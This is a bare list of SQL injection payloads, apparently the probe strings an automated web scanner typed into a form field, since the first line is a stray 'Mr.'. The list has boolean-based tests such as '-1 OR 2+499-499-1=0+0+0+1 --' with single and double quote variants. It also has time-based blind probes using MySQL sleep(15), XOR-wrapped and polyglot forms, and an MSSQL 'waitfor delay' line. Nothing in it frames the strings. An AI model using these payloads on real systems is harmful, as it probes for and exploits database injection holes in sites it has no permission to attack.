Mr.

-1 OR 2+499-499-1=0+0+0+1 --

-1 OR 2+30-30-1=0+0+0+1

-1' OR 2+959-959-1=0+0+0+1 --

-1' OR 2+199-199-1=0+0+0+1 or 'nUaB8Vk9'='

-1" OR 2+352-352-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --